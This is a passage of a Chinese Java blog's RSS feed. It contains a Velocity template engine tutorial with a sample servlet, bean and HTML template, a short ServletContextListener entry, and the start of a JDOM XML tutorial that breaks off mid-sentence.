GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2007/01/14/velocityStudy.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/93772.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2007/01/14/velocityStudy.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/93772.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/93772.html</trackback:ping><description><![CDATA[
		<p>不少人看过或了解过Velocity，名称字面翻译为：速度、速率、迅速，用在Web开发里，用过的人可能不多，大都基本知道和在使用Struts，到底Velocity和Struts是如何联系，怎么看待Velocity呢？让我们来尝试一下，了解Velocity的概念，通过在这里的介绍，强调在技术选择上的问题，让大家在选择项目开发时，可以考虑Velocity，另外也让大家了解它的思想，毕竟它提供了一个很好的思维方式，给大家换换筋骨，换一种思考的方式。</p>
		<p>本文基于你对Java开发有一定基础，知道MVC，Struts等开发模式。</p>
		<p>Velocity是一种Java模版引擎技术，该项目由Apache提出，由另外一种引擎技术Webmacro引深而来。那什么是官方的Velocity定义呢？Apache对它的定义是：一种基于Java的模板引擎，但允许任何人使用简单而强大的模板语言来引用定义在Java代码中的对象。目前最新的版本是1.4，可以在<a href="http://jakarta.apache.org/velocity/index.html">http://jakarta.apache.org/velocity/index.html</a>查找更多信息。</p>
		<p> 其实说白了Velocity也就是MVC架构的一种实现，但它更多的是关注在Model和View之间，作为它们的桥梁。对于MVC的最流行架构Struts来说，相信大家都不陌生，很多开发人员已经大量在使用Struts架构，包括IBM的Websphere 5以上的管理平台版本，Struts技术很好的实践了MVC，它有效的减少Java代码在View（Jsp）中的出现，但在Model和View之间还是依靠Struts的Taglib技术来实现，试想如果前台开发的网页设计师对Struts乃至Taglib不熟（相信也挺难熟的，包括后期的维护人员也一样），将会对网页设计师和前台开发工程师的相互协作开发带来很大的难度，现实开发中也还是存在这样事实，网页设计师和前台开发之间的工作或多或少还是存在一定的耦合，怎样最大限度的解决这个难题呢？还是让我们来看看Velocity或者说这个概念吧。</p>
		<p> 先做一个最简单的Velocity开发例子，让大家看看Velocity是怎样工作的：</p>
		<p>1、 创建1个文件，文件名为：hellovelocity.vm，即velocity模版（其实和html一样），内容：<br /><br /><br /><br />Welcome $name to Javayou.com!<br />today is $date.<br /><br /></p>
		<p>2、 创建1个java文件，HelloVelocity.java，内容：<br />package com.javayou.velocity;<br />import java.io.StringWriter;<br />import java.util.*;<br />import org.apache.velocity.app.VelocityEngine;<br />import org.apache.velocity.Template;<br />import org.apache.velocity.VelocityContext;</p>
		<p>/**<br /> * @author Liang.xf 2004-12-14 <br /> */<br />public class HelloVelocity {<br /> public static void main(String[] args) throws Exception {<br />  <br />  //初始化并取得Velocity引擎<br />  VelocityEngine ve = new VelocityEngine();<br />  ve.init(); <br />  //取得velocity的模版<br />  Template t = ve.getTemplate("hellovelocity.vm");<br />  //取得velocity的上下文context<br />  VelocityContext context = new VelocityContext();<br />  //把数据填入上下文<br />  context.put("name", "Liang");<br />  context.put("date", (new Date()).toString());<br />  <br />  //为后面的展示，提前输入List数值<br />  List temp = new ArrayList();<br />  temp.add("1");<br />  temp.add("2");<br />  context.put("list", temp);</p>
		<p>  //输出流<br />  StringWriter writer = new StringWriter();<br />  //转换输出<br />  t.merge(context, writer);<br />  System.out.println(writer.toString());<br /> }<br />}</p>
		<p>3、 在<a href="http://jakarta.apache.org/site/binindex.cgi">http://jakarta.apache.org/site/binindex.cgi</a>上下载Velocity 1.4 zip，解压后获取velocity-1.4.jar，用它来编译上面的类HelloVelocity.java。</p>
		<p>4、 把1上的hellovelocity.vm copy到运行的当前目录下，运行HelloVelocity还需要其他类包，可以从下载后的velocity1.4.zip来，\velocity-1.4\build\lib，把commons-collections.jar、logkit-1.0.1.jar引入后运行java -cp .\bin; -Djava.ext.dirs=.\lib2 com.javayou.velocity.HelloVelocity，假设class编译到.\bin目录，而我们所需的类包放到.\lib2目录内，运行结构如下：<br /><br /><br /><br />Welcome Liang to Javayou.com!<br />today is Tue Dec 14 19:26:37 CST 2004.<br /><br /></p>
		<p>以上是最简单的运行结果，怎么样，知道个大概吧，模版hellovelocity.vm里的2个定义变量$name和$date分别被context.put("name", "Liang")和context.put("date", (new Date()).toString())所设的值替代了。</p>
		<p>由此看来业务流程处理包括业务结果基本在model这层全部解决，而view这一层基本只用使用简单的VTL（Velocity Template Language）来展示。这样，Jsp岂不是不用了么？是的，这样的使用模式有点象早前的CGI方式：）由Velocity自动输出代码，并且Velocity在这方面的能力也很强，Turbine里就采用了Velocity来产生很多代码。</p>
		<p>在Velocity中，变量的定义都是使用“$”开头的，$作为Velocity的标识符。字母、数字、中划和下划线都可以作为Velocity的定义变量。</p>
		<p>此外我们还需要注意的是Velocity特色的变量定义，如：$student.No、$student.Address，它有2层含义：第1种是如果student是hashtable，则将从hashtable中提取key为No和Address的值，另外第2种就是它有可能是调用方法，即上面2个变量将被转换为student.getNo()和student.getAddress()。Velocity对在servlet中的java code返回的值有对象，还可以调用对象的方法，如$ student.getAddress()等等，在此就不一一举例和深入了。</p>
		<p>上面的例子只是简单的举例，现在当然不少人已经不满足这样的例子了，实际的应用中我们还常常需要作些选择性展示和列举一些迭代数据，如List列表，当然Velocity（具体来说应该是VTL模版语言）也支持这项功能，此外还支持其他一些常用的展示，如模版内部的变量（如Jsp内的变量），还有强大一些的如创建宏以实现自动化，让我们继续接着往下看吧。</p>
		<p>我们还是使用上面的例子，把模版hellovelocity.vm中的内容改为：<br />#set( $iAmVariable = "good!" )<br />Welcome $name to Javayou.com!<br />today is $date.<br />$iAmVariable</p>
		<p>重新执行上面的运行命令，结果：<br />Welcome Liang to Javayou.com!<br />today is Tue Dec 14 22:44:39 CST 2004.<br />good!</p>
		<p>可以看得模版中的变量定义为# set开头的语句，不是很难理解，执行后模版中的变量$iAmVariable都转换成定义的值：good!</p>
		<p>再来看看简单的选择，把模版hellovelocity.vm中的内容改为：<br />#set ($admin = "admin")<br />#set ($user = "user")<br />#if ($admin = = $user)<br />  Welcome admin!<br />#else<br />  Welcome user!<br />#end</p>
		<p>执行运行命令，结果：<br />  Welcome user!</p>
		<p>可以看到判断语句只是简单的#if ()、#else、#end，不是很复杂。<br />接着继续来看看迭代数据吧，把模版hellovelocity.vm中的内容改为：<br />#foreach( $product in $list )<br /> </p>
		<li>$product<br />#end 
<p> </p><p>执行运行命令，结果：<br /></p></li>
		<li>1<br /></li>
		<li>2<br />把在例子中预先保存在VelocityContext的List中的值列举了出来，是不是很方便啊？仅仅只是用了#foreach（$variable in xx） 而已，如果上面的List换成Hashtable，则可以用下面的语法：<br />#foreach($key in $hashVariable.keySet() ) <br />  
</li>
		<li>$key ‘s value: $ hashVariable.get($key) <br />#end<br />一点不觉得这些脚本很复杂。<br />还有不少人还会问，如果是javabean怎么办？好的，我们增加一个bean：<br />package com.javayou.velocity; 
<p> </p><p>/**<br /> * @author Liang.xf  2004-12-14 <br /> */<br />public class Student {<br /> //注意class的属性是public的<br /> public String no = "";<br /> public String address = "";<br /> public Student(String _no, String _address) {<br />  no = _no;<br />  address = _address;<br /> }<br /> <br /> public String getAddress() {<br />  return address;<br /> }<br /> <br /> public void setAddress(String address) {<br />  this.address = address;<br /> }<br /> <br /> public String getNo() {<br />  return no;<br /> }<br /> <br /> public void setNo(String no) {<br />  this.no = no;<br /> }<br />}<br />这个Student是实足的javabean，或者说是data bean，常见的用来装载数据的类，然后我们修改HelloVelocity.java，把：<br />temp.add("1");<br /> temp.add("2");<br />替换成：<br /> temp.add(new Student("123", "Guangzhou"));<br /> temp.add(new Student("456", "Zhuhai"));</p><p>再把hellovelocity.vm的内容改为：<br />#foreach ($s in $students)<br />  &lt;$velocityCount&gt; Address: $s.address <br />#end<br />重新编译和执行运行命令，结果如下：<br />  &lt;1&gt; Address: Guangzhou<br />  &lt;2&gt; Address: Zhuhai<br />这样把list中Student的数据打印了出来，大功告成！这里用了Velocity的内建变量$velocityCount，指的是默认的列举序号，从1开始，也可以改成0开始，但需要在Velocity.properties中更改，Velocity.properties位于velocity-1.4.jar包内的目录org\apache\velocity\runtime\defaults 下。<br />再复杂一些的迭代怎么处理呢？我们看看下面的模版例子就清楚了：<br />#foreach ($element in $list)<br />    -- inner foreach --<br />    #foreach ($element in $list)<br />        This is $element.<br />        $velocityCount<br />    #end<br />    -- inner foreach --</p><p>    -- outer foreach --<br />    This is $element.<br />    $velocityCount<br />    -- outer foreach --<br />#end</p><p>看出来了吧，Velocity是支持标签嵌套的，这个可是很强大的功能，这里就不深入演示了，如果有兴趣，自己试试吧。</p><p>其实，稍为深入思考刚刚我们举的例子，就已经可以看出来，Velocity的用处在哪里？即Servlet + Velocity的模式，另外，还记得我们早期Jsp开发的模式Jsp+JavaBean吗？在这里，我们更改为Servlet+JavaBean+Velocity，想想，是不是已经替代了Jsp+JavaBean，并更彻底的把Java代码去除在Jsp（vm）外，如果光使用Struts（Servlet+Jsp），那么带来的代价是Java代码总或多或少出现在Jsp上，即使可以做到不出现Java代码，但做过复杂架构系统的开发者都知道，代价也是很昂贵的，并且在可维护性、和网页设计师的集成开发上存在一定的困难，所以我们在这里能感觉到，Servlet+JavaBean+Velocity的模式较好的实现了OOD的概念。而在效率上，大家也不用担心，此种结合方式比Servlet+Jsp的方式要高效一些。</p><p>愿意了解Velocity的人应该不少，但真正实用到项目的，也许不多（还是有些项目在使用，如Jute），毕竟和Jsp比起来，Jsp更标准、更广泛使用和有不少开发工具已经支持Jsp开发。但Velocity的功能不会仅仅局限在和Jsp竞争的局面，由上可看出它在自动代码输出方面功能很强，前面提到Turbine就是采用Velocity来生成很多代码，你也可以稍加改动就可以做成代码生成器，或其他模版生成上，都是很不错的想法。</p><p>好了，我们再来看看要深入Velocity来做项目，还需要注意的一些常见问题吧，首先是国际化的问题，</p><p>Velocity本身支持模版的国际化编码转换，看看Velocity提供的方法：<br />Public Template getTemplate (Stirng template, String encoding)，<br />由此推测这样做其实不能彻底的做到国际化。</p> //------------------------------------------（2）--------------------------------------------</li>
		<li>/*<br /> * Copyright 2000-2001,2006 The Apache Software Foundation.<br /> * <br /> * Licensed under the Apache License, Version 2.0 (the "License");<br /> * you may not use this file except in compliance with the License.<br /> * You may obtain a copy of the License at<br /> * <br /> *      <a href="http://www.apache.org/licenses/LICENSE-2.0"><font color="#000080">http://www.apache.org/licenses/LICENSE-2.0</font></a><br /> * <br /> * Unless required by applicable law or agreed to in writing, software<br /> * distributed under the License is distributed on an "AS IS" BASIS,<br /> * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.<br /> * See the License for the specific language governing permissions and<br /> * limitations under the License.<br /> */
<p>Servlet直接继承VelocityServlet。需要引入velocity-dep-1.4.jar，velocity-1.4.jar两个包。</p><p>package com.javayou;<br />import java.io.IOException;<br />import java.io.FileNotFoundException;</p><p>import java.util.ArrayList;<br />import java.util.List;<br />import java.util.Properties;<br />import java.util.Vector;</p><p>import javax.servlet.ServletConfig;<br />import javax.servlet.http.HttpServletRequest;<br />import javax.servlet.http.HttpServletResponse;</p><p>import org.apache.velocity.Template;<br />import org.apache.velocity.context.Context;<br />import org.apache.velocity.servlet.VelocityServlet;<br />import org.apache.velocity.app.Velocity;<br />import org.apache.velocity.exception.ResourceNotFoundException;<br />import org.apache.velocity.exception.ParseErrorException;</p><p>/**<br /> * Sample of how to use the VelocityServlet.<br /> * This example shows how to add objects to the context and<br /> * pass them to the template.<br /> * <br /> * @author willians He<br /> * @author &lt;a href="<a href="mailto:hzxmsn@163.com&quot;&gt;willians"><font color="#000080">mailto:hzxmsn@163.com"&gt;willians</font></a> He.&lt;/a&gt;<br /> * @version $Id: SampleServlet.java,v 1.5.8.1 2006/07/15 10:01:29 geirm Exp $<br /> */<br />public class SampleServlet extends VelocityServlet<br />{<br />    <br />    /**<br />     *   Called by the VelocityServlet<br />     *   init().  We want to set a set of properties<br />     *   so that templates will be found in the webapp<br />     *   root.  This makes this easier to work with as <br />     *   an example, so a new user doesn't have to worry<br />     *   about config issues when first figuring things<br />     *   out<br />     */<br />    protected Properties loadConfiguration(ServletConfig config )<br />        throws IOException, FileNotFoundException<br />    {<br />        Properties p = new Properties();</p><p>        /*<br />         *  first, we set the template path for the<br />         *  FileResourceLoader to the root of the <br />         *  webapp.  This probably won't work under<br />         *  in a WAR under WebLogic, but should <br />         *  under tomcat :)<br />         */</p><p>        String path = config.getServletContext().getRealPath("/");</p><p>        if (path == null)<br />        {<br />            System.out.println(" SampleServlet.loadConfiguration() : unable to " <br />                               + "get the current webapp root.  Using '/'. Please fix.");</p><p>            path = "/";<br />        }</p><p>        p.setProperty( Velocity.FILE_RESOURCE_LOADER_PATH,  path );</p><p>        /**<br />         *  and the same for the log file<br />         */</p><p>        p.setProperty( "runtime.log", path + "velocity.log" );</p><p>        return p;<br />    }</p><p><br />    /**<br />     *  &lt;p&gt;<br />     *  main routine to handle a request.  Called by<br />     *  VelocityServlet, your responsibility as programmer<br />     *  is to simply return a valid Template<br />     *  &lt;/p&gt;<br />     *<br />     *  @param ctx a Velocity Context object to be filled with<br />     *             data.  Will be used for rendering this <br />     *             template<br />     *  @return Template to be used for request<br />     */   <br />    public Template handleRequest( HttpServletRequest request,<br /> HttpServletResponse response, Context ctx )<br />    {        <br />        /*<br />         *  set up some data to put into the context<br />         */</p><p>       <br />        String p1 = "Bob--&gt;congratulation to  Bob";<br />        String p2 = "Harold--&gt;congratulation to  Harold";<br />        String p3 = "Bob---&gt;this is Wrong enter Bob";<br />        String p4 = "Harold--&gt;this is Wrong enter  Harold";<br />        String jpgurl2="/test/picture/lxy01.jpg";<br />        String jpgurl1="/test/picture/ch020.jpg";<br />        <br />//      为后面的展示，提前输入List数值<br />        List temp = new ArrayList();<br />        temp.add(new Students("123", "Guangzhou"));<br />        temp.add(new Students("321", "Guangzhou"));<br />        temp.add(new Students("456", "Shanghai"));<br />        temp.add(new Students("654", "Shanghai"));<br />        ctx.put("list", temp);</p><p>        <br />        Vector personList = new Vector();<br />        Vector personList2 = new Vector();<br />        <br />        String name=null;<br />        String pass=null;<br />        if(!request.getParameterMap().isEmpty())<br />        {<br />            name = request.getParameter("Account");<br />            pass = request.getParameter("Password");<br />            <br />        }else {<br />             name="myname";<br />             pass="123456";<br />        }<br />        <br />        if(name.equals("myname")&amp;&amp;pass.equals("123456")) {       <br />             personList.addElement( p1 );<br />             personList.addElement( p2 );<br />             personList2.addElement( jpgurl1 );<br />        }<br />        else{<br />             personList.addElement( p3 );     <br />             personList.addElement( p4 ); <br />             personList2.addElement( jpgurl2 );<br />        }</p><p>        /*<br />         *  Add the list to the context.<br />         *  This is how it's passed to the template.<br />         */</p><p>        ctx.put("theList", personList );<br />        ctx.put("theImageList", personList2 );<br />        <br />        /*<br />         *  get the template.  There are three possible<br />         *  exceptions.  Good to know what happened.<br />         */</p><p>        Template outty = null;<br />        <br />        try<br />        {<br />            //outty =  getTemplate("sample.html");<br />            outty=getTemplate("templat/picMoudle/pic1.html");<br />            <br />            <br />        }<br />        catch( ParseErrorException pee )<br />        {<br />            System.out.println("SampleServlet : parse error for template " + pee);<br />        }<br />        catch( ResourceNotFoundException rnfe )<br />        {<br />            System.out.println("SampleServlet : template not found " + rnfe);<br />        }<br />        catch( Exception e )<br />        {<br />            System.out.println("Error " + e);<br />        }<br />        return outty;<br />    }<br />   <br />}<br /> </p><p>Students.java</p><p>/*<br /> * 创建日期 2006-7-18<br /> *<br /> * TODO 要更改此生成的文件的模板，请转至<br /> * 窗口 － 首选项 － Java － 代码样式 － 代码模板<br /> */<br />package com.javayou;</p><p>/**<br /> * @author Willian He<br /> *<br /> */<br />public class Students {<br />    public String no = "";<br />    public String address = "";<br />    public Students(String _no, String _address) {<br />      no = _no;<br />      address = _address;<br />    } <br />    public String getAddress() {<br />        return address;<br />       }<br />    public void setAddress(String address) {<br />        this.address = address;<br />       }<br />    public String getNo() {<br />        return no;<br />       }<br />       <br />       public void setNo(String no) {<br />        this.no = no;<br />       }</p><p>}</p><p>模板</p><p>pic1.html</p><p>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"&gt;<br />&lt;html&gt;<br />&lt;head&gt;<br /> &lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8"&gt;<br />   <br /> &lt;title&gt;Sample Picture page&lt;/title&gt;&lt;/head&gt;<br />&lt;body bgcolor="#ffffff"&gt;<br />&lt;center&gt;</p><p>&lt;h2&gt;Hello ,How are you!&lt;/h2&gt;<br />&lt;i&gt;Here's the list of picture&lt;/i&gt;</p><p>#set ($foo="The Velocity")<br />&lt;table width="750" height="200" border="1" cellpadding="1" cellspacing="1"&gt;<br />    &lt;tr&gt;<br />   &lt;td bgcolor="#eeeeee" align="center"&gt;<br />   Show the picture  &lt;br&gt;  <br />  ##foreach ($s1 in $list) <br />   #foreach ($s in $list)<br />    #if($s.address=="Shanghai")<br />     this is&lt;$velocityCount&gt; Address: $s.address $s.no&lt;br&gt;<br />    #else <br />     that is&lt;$velocityCount&gt; Address: $s.no,$s.address &lt;br&gt; <br />    #end<br />   #end<br />  ##end   <br />        &lt;/td&gt;<br />    &lt;/tr&gt;<br />    #foreach ($name in $theList)<br />    &lt;tr align="center"&gt;<br />        &lt;td bgcolor="#eeeeee"&gt;$name&lt;/td&gt;<br />    &lt;/tr&gt;<br />    #end<br />    #foreach ($name in $theImageList)<br />    &lt;tr&gt;<br />        &lt;td align="center"&gt;&lt;img src="$name"  title="give me" /&gt;&lt;/td&gt; <br /> &lt;/tr&gt; <br /> &lt;tr&gt;<br />  &lt;td align="center"&gt;&lt;font color="#ff0255"&gt;$name&lt;/font&gt;&lt;/td&gt;<br />    &lt;/tr&gt;<br />    #end<br />  &lt;tr&gt;<br />       &lt;td bgcolor="#green" align="center"&gt;$foo&lt;/td&gt;<br />    &lt;/tr&gt;<br />&lt;/table&gt;<br />#macro(tablerows $color $somelist)<br />#foreach($something in $somelist)<br /> &lt;tr&gt;<br /> &lt;td bgcolor=$color&gt;$something&lt;/td&gt;<br /> &lt;/tr&gt;</p><p>#end<br />#end</p><p>#set($greatlakes=["Superior","Michigan","Huron","Erie","Ontario"])<br />#set($color=("bllack"))<br />&lt;table&gt;<br />#tablerows($color $greatlakes)<br />&lt;/table&gt;<br />&lt;a href="<a href="http://localhost:8080/test/MyJsp.jsp"><font color="#000080">http://localhost:8080/test/MyJsp.jsp</font></a>"&gt;回上一页&lt;/a&gt;</p><p>&lt;/center&gt;<br />&lt;/html&gt;</p><br /></li>
<img src ="http://www.blogjava.net/zhanglijun33/aggbug/93772.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2007-01-14 16:55 <a href="http://www.blogjava.net/zhanglijun33/archive/2007/01/14/velocityStudy.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>javax.servlet.ServletContextListener 的应用 </title><link>http://www.blogjava.net/zhanglijun33/archive/2006/12/11/servletListener.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Mon, 11 Dec 2006 06:13:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2006/12/11/servletListener.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/86897.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2006/12/11/servletListener.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/86897.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/86897.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 程序启动时访问数据库&nbsp;&nbsp;<a href='http://www.blogjava.net/zhanglijun33/archive/2006/12/11/servletListener.html'>阅读全文</a><img src ="http://www.blogjava.net/zhanglijun33/aggbug/86897.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2006-12-11 14:13 <a href="http://www.blogjava.net/zhanglijun33/archive/2006/12/11/servletListener.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JDOM学习</title><link>http://www.blogjava.net/zhanglijun33/archive/2006/11/30/jdomStudy.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Thu, 30 Nov 2006 04:38:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2006/11/30/jdomStudy.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/84524.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2006/11/30/jdomStudy.html#Feedback</comments><slash:comments>4</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/84524.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/84524.html</trackback:ping><description><![CDATA[
		<div class="tit">JDOM处理XML快速上手</div>
		<div class="date">2006-09-11 16:42</div>
		<table style="TABLE-LAYOUT: fixed">
				<tbody>
						<tr>
								<td>
										<div class="cnt">
												<h2 class="diaryTitle">JDOM处理XML快速上手- -</h2>
												<p>                                       </p>
												<p>    在 JDOM 中，XML 元素就是 Element 的实例，XML 属性就是 Attribute 的实例，XML 文档本身就是 Document 的实例。<br />    因为 JDOM 对象就是像 Document、Element 和 Attribute 这些类的直接实例，因此创建一个新 JDOM 对象就如在 Java 语言中使用 new 操作符一样容易。JDOM 的使用是直截了当的。<br />    JDOM 使用标准的 Java 编码模式。只要有可能，它使用 Java new 操作符而不故弄玄虚使用复杂的工厂化模式，使对象操作即便对于初学用户也很方便。<br />    <br />    本文分两步对JDOM的应用加以介绍：XML创建 和 XML解析<br />一、XML文档创建<br />    我们由零开始利用JDOM生成一个XML文档。最后的结果(样本文档)看起来象这样：<br />    &lt;?xml version="1.0" encoding="UTF-8"?&gt;<br />    &lt;MyInfo comment="introduce myself"&gt;<br />        &lt;name&gt;kingwong&lt;/name&gt;<br />        &lt;sex value="male"/&gt;<br />        &lt;contact&gt;<br />            &lt;telephone&gt;87654321&lt;/telephone&gt;<br />        &lt;/contact&gt;<br />    &lt;/MyInfo&gt;<br />    1.以 MyInfo 为根元素创建文档<br />        Element rootElement = new Element("MyInfo");//所有的XML元素都是 Element 的实例。根元素也不例外：）<br />        Document myDocument = new Document(rootElement);//以根元素作为参数创建Document对象。一个Document只有一个根，即root元素。<br />    2.给根元素添加属性<br />        Attribute rootAttri = new Attribute("comment","introduce myself");//创建名为 commnet,值为 introduce myself 的属性。<br />        rootElement.setAttribute(rootAttri);//将刚创建的属性添加到根元素。<br />        这两行代码你也可以合成一行来写，象这样：<br />        rootElement.setAttribute(new Attribute("comment","introduce myself"));<br />        或者<br />        rootElement.setAttribute("comment","introduce myself");<br />    3.添加元素和子元素<br />        JDOM里子元素是作为 content（内容）添加到父元素里面去的,所谓content就是类似上面样本文档中&lt;name&gt;&lt;/name&gt;之间的东东，即kingwong。罗嗦了点是吧：）<br />        Element nameElement = new Element("name");//创建 name 元素<br />        nameElement.addContent("kingwong");//将kingwong作为content添加到name元素<br /> rootElement.addContent(nameElement);//将name元素作为content添加到根元素<br /> <br /> 这三行你也可以合为一句，象这样：<br /> rootElement.addContent((Content)(new Element("name").addContent("kingwong")));//因为addContent(Content child)方法返回的是一个Parent接口，而Element类同时继承了Content类和实现了Parent接口，所以我们把它造型成Content。<br /> <br />        我们用同样的方法添加带属性的子元素&lt;sex value="male"/&gt;<br />        rootElement.addContent(new Element("sex").setAttribute("value","male"));//注意这里不需要转型，因为addAttribute(String name,String value)返回值就是一个 Element。<br />        <br />        同样的，我们添加&lt;contract /&gt;元素到根元素下，用法上一样，只是稍微复杂了一些：<br />        rootElement.addContent((Content)(new Element("contact").addContent((Content)(new Element("telephone").addContent("87654321")))));<br />        如果你对这种简写形式还不太习惯，你完全可以分步来做，就象本节刚开始的时候一样。事实上如果层次比较多，写成分步的形式更清晰些，也不容易出错。<br />    4.删除子元素<br />        这个操作比较简单：<br />        rootElement.removeChild("sex");//该方法返回一个布尔值<br />        <br />        到目前为止，我们学习了一下JDOM文档生成操作。上面建立了一个样本文档，可是我们怎么知道对不对呢？因此需要输出来看一下。我们将JDOM生成的文档输出到控制台，使用 JDOM 的 XMLOutputter 类。<br />    5.  将 JDOM 转化为 XML 文本<br />        XMLOutputter xmlOut = new XMLOutputter("  ",true);<br /> try {<br />  xmlOut.output(myDocument,System.out);<br /> } catch (IOException e) {<br />  e.printStackTrace();<br /> }<br /> XMLOutputter 有几个格式选项。这里我们已指定希望子元素从父元素缩进两个空格，并且希望元素间有空行。<br /> new XMLOutputter(java.lang.String indent, boolean newlines)这个方法在最新版本中已经不建议使用。JDOM有一个专门的用来定义格式化输出的类：org.jdom.output.Format，如果你没有特殊的要求，有时候使用里面的几个静态方法（应该可以说是预定义格式）如 getPrettyFormat()就可以了。我们把上面的输出格式稍微改一下，就象这样：<br /> XMLOutputter xmlOut = new XMLOutputter(Format.getPrettyFormat());  <br />    6.将JDOM文档转化为其他形式<br />        XMLOutputter 还可输出到 Writer 或 OutputStream。为了输出JDOM文档到一个文本文件，我们可以这样做：<br />        FileWriter writer = new FileWriter("/some/directory/myFile.xml");<br />        outputter.output(myDocument, writer);<br />        writer.close();<br />        <br />        XMLOutputter 还可输出到字符串,以便程序后面进行再处理:<br />        Strng outString = xmlOut.outputString(myDocument);<br />        <br />        当然，在输出的时候你不一定要输出所有的整个文档，你可以选择元素进行输出：<br />        xmlOut.output(rootElement.getChild("name"),System.out);<br />        一句话，JDOM非常灵活方便！如果你想进一步研究JDOM，请到官方网站去看一看：<a href="http://www.jdom.org/"><font color="#800080">http://www.jdom.org</font></a></p>
												<p>    本节示例源码：<br />package com.cyberobject.study;</p>
												<p>import java.io.IOException;</p>
												<p>import org.jdom.Attribute;<br />import org.jdom.Content;<br />import org.jdom.Document;<br />import org.jdom.Element;<br />import org.jdom.output.Format;<br />import org.jdom.output.XMLOutputter;</p>
												<p>/**<br /> * @author kingwong<br /> *<br /> * TODO To change the template for this generated type comment go to<br /> * Window - Preferences - Java - Code Style - Code Templates<br /> */<br />public class TestJDOM {</p>
												<p> public static void main(String[] args)<br /> {<br />  Element rootElement = new Element("MyInfo");<br />  Document myDocument = new Document(rootElement);<br />  <br />//  Attribute rootAttri = new Attribute("comment","introduce myself");<br />//  rootElement.setAttribute(rootAttri);<br />  <br />  rootElement.setAttribute("comment","introduce myself");<br />  //rootElement.setAttribute(new Attribute("comment","introduce myself"));<br />//  Element sexElement = new Element("sex");<br />//  rootElement.addContent(sexElement);<br />  <br />//  Element nameElement = new Element("name");<br />//  nameElement.addContent("kingwong");<br />//  rootElement.addContent(nameElement);<br />  <br />  rootElement.addContent((Content)(new Element("name").addContent("kingwong")));<br />  rootElement.addContent(new Element("sex").setAttribute("value","male"));<br />  rootElement.addContent((Content)(new Element("contract").addContent((Content)(new Element("telephone").addContent("87654321")))));<br />  <br />  rootElement.removeChild("sex");<br />  <br />  XMLOutputter xmlOut = new XMLOutputter(Format.getPrettyFormat());<br />  try {<br />   xmlOut.output(myDocument,System.out);<br />   //xmlOut.output(rootElement.getChild("name"),System.out);<br />   //String outString = xmlOut.outputString(myDocument);<br />  } catch (IOException e) {<br />   e.printStackTrace();<br />  }<br /> }<br />}</p>
												<p>        <br />二、XML文档解析<br />    JDOM 不光可以很方便的建立XML文档，它的另一个用处是它能够读取并操作现有的 XML 数据。<br />    JDOM的解析器在org.jdom.input.*这个包里，其中的DOMBuilder的功能是将DOM模型的Document解析成JDOM模型的Document；SAXBuilder的功能是从文件或流中解析出符合JDOM模型的XML树。由于我们经常要从一个文件里读取数据，因此我们应该采用后者作为解析工具。<br />解析一个xml文档，基本可以看成以下几个步骤：<br />    1.实例化一个合适的解析器对象<br />        本例中我们使用SAXBuilder:<br />        SAXBuilder sb = new SAXBuilder();<br />    2.以包含XML数据的文件为参数，构建一个文档对象myDocument<br />        Document myDocument = sb.build(/some/directory/myFile.xml);<br />    3.获到根元素<br />        Element rootElement = myDocument.getRootElement();<br />        <br />        一旦你获取了根元素，你就可以很方便地对它下面的子元素进行操作了，下面对Element对象的一些常用方法作一下简单说明：<br />        getChild("childname") 返回指定名字的子节点,如果同一级有多个同名子节点，则只返回第一个；如果没有返回null值。<br />        getChildren("childname") 返回指定名字的子节点List集合。这样你就可以遍历所有的同一级同名子节点。 <br />        getAttributeValue("name") 返回指定属性名字的值。如果没有该属性则返回null,有该属性但是值为空，则返回空字符串。<br />        getChildText("childname") 返回指定子节点的内容文本值。<br />        getText() 返回该元素的内容文本值。<br />        <br />        还有其他没有罗列出来的方法，如果需要的话，可以随时查阅JDOM的在线文档：<a href="http://www.jdom.org/docs/apidocs/index.html"><font color="#800080">http://www.jdom.org/docs/apidocs/index.html</font></a>。当然你可以在你需要的地方添加、删除元素操作，还记得上面的创建XML的方法吗？呵呵~~~<br />        <br />        学习新东东还是从实例学起最为快捷，下面简单举个例子，就以上面的XML样本代码来学习JDOM的XML解析。本例中读取了样本XML文件里一些属性和content，最后我们还在contact元素里插入了一个新元素&lt;email value="<a href="mailto:wanghua@cyberobject.com">wanghua@cyberobject.com</a>" /&gt;。尽管我们实现了对于XML的基本操作，细心的朋友可能会<br 